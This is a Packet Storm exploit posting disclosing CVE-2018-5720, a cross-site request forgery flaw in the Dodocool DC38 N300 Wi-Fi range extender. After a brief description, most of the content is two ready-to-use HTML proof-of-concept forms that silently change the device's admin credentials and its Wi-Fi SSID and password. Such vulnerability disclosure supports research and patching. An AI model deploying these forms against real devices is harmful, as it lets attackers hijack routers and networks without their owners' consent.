what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Dodocool DC38 N300 Cross Site Request Forgery

Dodocool DC38 N300 Cross Site Request Forgery
Posted Jan 26, 2018
Authored by Raffaele Sabato

Dodocool DC38 N300 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2018-5720
SHA-256 | bad19b8394e8d9ff06978626f9a82d149a6ba4642f882961e006ba076ced8e42

Dodocool DC38 N300 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: DODOCOOL DC38 N300 Cross-site Request Forgery
# Date: 17-01-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: DODOCOOL
# Vendor Homepage: www.dodocool.com
# Version: RTN2-AW.GD.R3465.1.20161103
# CVE: CVE-2018-5720

I DESCRIPTION
========================================================================

An issue was discovered in DODOCOOL DC38 3-in-1 N300 Mini Wireless Range
Extend RTN2-AW.GD.R3465.1.20161103 devices. A Cross-site request forgery
(CSRF) vulnerability allows remote attackers to hijack the authentication
of users for requests that modify the configuration.
This vulnerability may lead to username and/or password changing, Wi-Fi
password changing, etc.

II PROOF OF CONCEPT
========================================================================

## Change user username and password (test_username:test_password):

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.10.1/boafrm/formPasswordSetup"
method="POST">
<input type="hidden" name="submit-url"
value="/setok.htm?bw=main.htm" />
<input type="hidden" name="submit-value" value="" />
<input type="hidden" name="username" value="test_username" />
<input type="hidden" name="newpass" value="test_password" />
<input type="hidden" name="confpass" value="test_password" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


## Change WiFi Configuration (WIFI_TEST:TestTest):

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.10.1/boafrm/formWlanSetupREP"
method="POST">
<input type="hidden" name="submit-url"
value="/setok.htm?bw=wl_rep.htm" />
<input type="hidden" name="submit-value" value="repset" />
<input type="hidden" name="wl_onoff" value="0" />
<input type="hidden"
name="wps_clear_configure_by_reg" value="0" />
<input type="hidden" name="wlProfileId" value="" />
<input type="hidden" name="wl_mode" value="0" />
<input type="hidden" name="wl_authType" value="auto" />
<input type="hidden" name="wepEnabled" value="ON" />
<input type="hidden" name="weplength" value="" />
<input type="hidden" name="wepformat" value="" />
<input type="hidden" name="wl_wpaAuth" value="psk" />
<input type="hidden" name="wl_pskFormat" value="0" />
<input type="hidden" name="wl_pskValue" value="TestTest" />
<input type="hidden" name="wl_ssid" value="WIFI_TEST" />
<input type="hidden" name="wl_Method" value="6" />
<input type="hidden" name="wep_key" value="" />
<input type="hidden" name="ciphersuite" value="tkip+aes" />
<input type="hidden" name="ciphersuite" value="aes" />
<input type="hidden" name="wpa2ciphersuite" value="tkip+aes" />
<input type="hidden" name="wpa2ciphersuite" value="aes" />
<input type="hidden" name="web_pskValue" value="TestTest" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close